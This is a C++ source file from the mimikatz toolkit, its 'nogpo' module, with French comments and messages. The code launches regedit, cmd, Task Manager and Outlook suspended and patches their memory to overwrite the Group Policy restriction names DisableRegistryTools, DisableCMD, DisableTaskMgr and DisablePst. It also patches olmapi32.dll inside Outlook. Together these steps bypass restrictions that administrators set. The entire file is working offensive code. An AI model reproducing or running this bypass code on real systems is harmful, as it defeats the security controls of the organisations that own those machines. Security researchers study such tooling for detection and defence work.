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/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by/3.0/fr/
*/
#include "mod_mimikatz_nogpo.h"
#include "..\global.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst"));
return monVector;
}
bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments)
{
(*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl;
return true;
}
bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments)
{
(*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl;
return true;
}
bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments)
{
(*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl;
return true;
}
bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments)
{
char szDisable[] = "DisablePst";
char szKiwi[] = "KiwiAndPst";
wstring pathToOutlook;
if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook))
{
DWORD pidOutlook = 0;
bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook);
(*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO");
if(reussite)
{
mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi));
}
} else (*outputStream) << L"Outlook introuvable" << endl;
return true;
}
bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path)
{
bool reussite = false;
DWORD regError;
wstring pathToApplication = L"Software\\Classes\\";
pathToApplication.append(application);
pathToApplication.append(L"\\CLSID");
HKEY hApplication;
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication);
if(regError == ERROR_SUCCESS)
{
DWORD ApplicationType = 0;
DWORD ApplicationSize = 0;
LPBYTE monGUID = NULL;
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
if(regError == ERROR_SUCCESS)
{
if(ApplicationType == REG_SZ)
{
monGUID = new BYTE[ApplicationSize];
regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize);
if(regError == ERROR_SUCCESS)
{
wstring regPathToPath =
#ifdef _M_X64
L"Software\\Wow6432Node\\Classes\\CLSID\\";
#elif defined _M_IX86
L"Software\\Classes\\CLSID\\";
#endif
regPathToPath.append(reinterpret_cast<wchar_t *>(monGUID));
regPathToPath.append(L"\\LocalServer32");
HKEY hApplicationPath;
regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath);
if(regError == ERROR_SUCCESS)
{
DWORD ApplicationPathType = 0;
DWORD ApplicationPathSize = 0;
LPBYTE monPath = NULL;
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
if(regError == ERROR_SUCCESS)
{
if(ApplicationPathType == REG_SZ)
{
monPath = new BYTE[ApplicationPathSize];
regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize);
if(reussite = (regError == ERROR_SUCCESS))
{
path->assign(reinterpret_cast<wchar_t *>(monPath));
} else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
delete[] monPath;
} else (*outputStream) << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl;
} else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl;
RegCloseKey(hApplicationPath);
} else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl;
} else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
delete[] monGUID;
} else (*outputStream) << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl;
} else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl;
RegCloseKey(hApplication);
} else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl;
return reussite;
}
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID)
{
bool reussite = false;
PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION();
if(mod_process::start(&commandLine, mesInfos, true))
{
PEB * monPeb = new PEB();
if(mod_process::getPeb(monPeb, mesInfos->hProcess))
{
PBYTE patternAddr = NULL;
// Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment)
if(mod_memory::searchMemory(reinterpret_cast<PBYTE>(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess))
{
if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess)))
{
(*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl;
}
}
else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl;
}
else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl;
delete monPeb;
if(!(ResumeThread(mesInfos->hThread) != -1))
(*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl;
if(monPID)
{
*monPID = mesInfos->dwProcessId;
}
WaitForInputIdle(mesInfos->hProcess, INFINITE);
CloseHandle(mesInfos->hThread);
CloseHandle(mesInfos->hProcess);
}
else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl;
delete mesInfos;
return reussite;
}
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID)
{
bool reussite = false;
if(origKey.size() == kiwiKey.size())
{
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t);
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<wchar_t *>(origKey.c_str()));
const void * maCleFinale = kiwiKey.c_str();
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
}
else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl;
return reussite;
}
bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID)
{
bool reussite = false;
if(origKey.size() == kiwiKey.size())
{
SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char);
PBYTE maCleDeDepart = reinterpret_cast<PBYTE>(const_cast<char *>(origKey.c_str()));
const void * maCleFinale = kiwiKey.c_str();
reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID);
}
else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl;
return reussite;
}
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